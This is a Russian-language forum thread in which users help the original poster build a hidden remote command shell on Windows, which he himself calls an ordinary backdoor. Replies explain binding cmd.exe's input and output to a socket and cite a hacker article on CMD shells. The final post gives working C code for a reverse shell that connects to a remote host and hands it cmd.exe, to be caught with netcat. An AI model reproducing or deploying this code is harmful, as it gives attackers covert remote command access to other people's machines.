Столкнулся с такой проблемлй: хочу чтобы при коннекте к серверу, он выдавал удаленную командную строку с правами того пользователя который сейчас в системе (все это дело под виндвс). Сначала подумал все просто: открываем сокет на прослушку и при accept'e создаем новый поток в котором выполняем WinExec ("cmd.exe", SW_HIDE); Но по такой схеме, при подключении тем же telnet'ом на открытый порт сервера, cmd запускается на сервере, но клиент ничего не получает, что я не так делаю, подскажите плз
danko ты забыл перенаправить стандартные потоки(ввода, вывода, до кучи можно еще и ошибок) в свой сокет. Проще всего это сделать при помощи функции dup2(). Пример: dup2(socket, STDOUT_FILENO); dup2(socket, STDIN_FILENO);
на сисинтернэлс не нашел исходников к PsTools, есть ли что-ть еще? перерыл все на исходниках.ру, тоже ничего не нашел. Не может быть чтобы такого не было в сети, это же обычный бэкдор. dup2(...) похоже то что мне нужно, попробую сейчас, а то я уж грешным делом подумал, что нужно какой-ть шеллкод писать
danko Во-во, именно его(CMD-Shell)! Как првильно написать смотри в статье К. Касперски (правда на сях)"CMD-shell на службе у хакера"
> Во-во, именно его(CMD-Shell)! Как првильно написать смотри в статье К. Касперски (правда на сях)"CMD-shell на службе у хакера" не знаю, что уж там майкрософт намутила с концепцией сокетов в windows, мой пример отлично работает в unix(не требуется никаких дополнительных каналов для связи дескрипторов ввода/вывода и сокетов) . Кстати, именно на нем основано большинство portbind-шеллкодов под *nix.
извиняюсь за оффтоп, но... Ну так этож M$, в никсах многие вещи сделаны проще, логичней и понятней, для Людей, так сказать. Мелкомягкие постоянно пытаються выдумать что-нибуть (псевдо)своё, правда далеко не всегда получается хорошо....
старье можно через критпроцессА там в стартап инфо главное передат стдин и стдаут на сокет слушающий Ж)) Правда єто будет пахать только под вин ХП, из-за єтого моюс татью про єту фишку в самаг не взяли Ж(( Тип на отрез отказался мне верить что єто работает а у него 2000 стояла Ж((
вот рабочий код под Винду: Код (Text): WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in adik_sin; memset(&adik_sin,0,sizeof(adik_sin)); memset(&si,0,sizeof(si)); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); if(INVALID_SOCKET == hSocket) return false; adik_sin.sin_family = AF_INET; adik_sin.sin_port = htons(port); adik_sin.sin_addr.s_addr = inet_addr(hostname); int nConnect = connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin)); if(SOCKET_ERROR == nConnect) { return false; } si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd.exe",NULL, NULL,true,NULL,NULL,NULL,&si,&pi); ...ну и ессно у себя надо NC или что-то типа того запустить )